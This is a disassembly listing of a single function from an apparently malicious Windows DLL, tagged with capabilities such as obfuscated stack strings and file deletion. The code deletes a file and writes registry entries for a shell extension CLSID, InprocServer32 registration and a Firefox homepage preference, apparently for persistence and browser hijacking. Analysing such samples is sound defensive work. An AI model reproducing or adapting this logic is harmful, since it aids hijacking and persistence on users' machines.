Function at 0x10001270
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x32c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x103
lea eax, [ebp - 0x223]
mov byte [ebp - 0x224], 0
push 0
push eax
mov esi, ecx
call fcn.100021e0
add esp, 0xc
lea eax, [ebp - 0x224]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x224]
push 0x5c
push eax
call fcn.10001c90
add esp, 8
test eax, eax
jne 0x100012df
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001658
mov esp, ebp
pop ebp
ret
movdqa xmm0, xmmword [0x10013610]
mov byte [eax + 1], 0
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x224]
mov word [ebp - 0x74], 0x7478
push 0x104
push eax
movdqu xmmword [ebp - 0x84], xmm0
mov byte [ebp - 0x72], 0
call fcn.10001dc7
push 0x100134fc
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x32c]
push eax
call fcn.1000192b
mov esi, dword [ebp - 0x32c]
add esp, 0x18
test esi, esi
jne 0x1000134c
lea eax, [esi + 2]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001658
mov esp, ebp
pop ebp
ret
push 0x103
lea eax, [ebp - 0x327]
mov byte [ebp - 0x328], 0
push 0
push eax
call fcn.100021e0
push esi
lea eax, [ebp - 0x328]
push 0x104
push eax
call fcn.10001970
push dword [ebp - 0x32c]
call fcn.10001e96
add esp, 0x1c
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x100013ab
mov eax, 3
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001658
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.100010e0
movdqa xmm0, xmmword [0x100135a0]
movdqu xmmword [ebp - 0x120], xmm0
mov dword [ebp - 0xe0], 0x646576
movdqa xmm0, xmmword [0x10013560]
movdqu xmmword [ebp - 0x110], xmm0
mov dword [ebp - 0x14], 0x41303139
movdqa xmm0, xmmword [str.ntVersionShell_CLSID646BAAE7_646BAAE7_7538_47538_4866_8EEE_9866_8EEE_974C0AAlayIdentifiersFftWindowsCurreage____http:__dhExtensionsApproSOFTWAREMicrosoSoftwareMicrosoer.startup.homep74C0AA910ABInperShellIconOverntVersionExplorh6.defaultprefsuser_pref__browsInprocServer32.tProfilesdofxuvMozillaFirefoxH]
movdqu xmmword [ebp - 0x100], xmm0
mov word [ebp - 0x10], 0x7d42
movdqa xmm0, xmmword [0x10013580]
movdqu xmmword [ebp - 0xf0], xmm0
mov byte [ebp - 0xe], 0
movdqa xmm0, xmmword [0x10013520]
movdqu xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0xc], 0x6c746146
movdqa xmm0, xmmword [0x10013540]
movdqu xmmword [ebp - 0x24], xmm0
mov word [ebp - 8], 0x6e66
mov byte [ebp - 6], 0
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
js 0x10001479
lea ecx, [ebp - 0xc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001453
sub ecx, edx
lea eax, [ebp - 0xc]
push ecx
push eax
lea eax, [ebp - 0x34]
push eax
push ecx
lea edx, [ebp - 0x120]
mov ecx, 0x80000002
call fcn.10001050
add esp, 0x10
movdqa xmm0, xmmword [0x10013590]
lea edx, [ebp - 0x34]
movdqu xmmword [ebp - 0xdc], xmm0
lea esi, [edx + 1]
mov dword [ebp - 0x8c], 0x666c7461
movdqa xmm0, xmmword [0x10013560]
movdqu xmmword [ebp - 0xcc], xmm0
mov word [ebp - 0x88], 0x6e
movdqa xmm0, xmmword [0x100135e0]
movdqu xmmword [ebp - 0xbc], xmm0
movdqa xmm0, xmmword [0x100135d0]
movdqu xmmword [ebp - 0xac], xmm0
movdqa xmm0, xmmword [0x10013550]
movdqu xmmword [ebp - 0x9c], xmm0
mov al, byte [edx]
inc edx
test al, al
jne 0x100014e2
sub edx, esi
lea eax, [ebp - 0x34]
push edx
push eax
push 0
push ecx
lea edx, [ebp - 0xdc]
mov ecx, 0x80000002
call fcn.10001050
movdqa xmm0, xmmword [0x10013510]
lea ecx, [ebp - 0x328]
movdqu xmmword [ebp - 0x70], xmm0
lea edx, [ecx + 1]
add esp, 0x10
movdqa xmm0, xmmword [0x10013530]
movdqu xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x40], 0x53636f72
movdqa xmm0, xmmword [0x100135c0]
movdqu xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x3c], 0x65767265
mov dword [ebp - 0x38], 0x323372
jmp 0x10001550
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001550
sub ecx, edx
lea eax, [ebp - 0x328]
push ecx
push eax
push 0
push ecx
lea edx, [ebp - 0x70]
mov ecx, 0x80000000
call fcn.10001050
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
xor eax, eax
pop esi
call fcn.10001658
mov esp, ebp
pop ebp
ret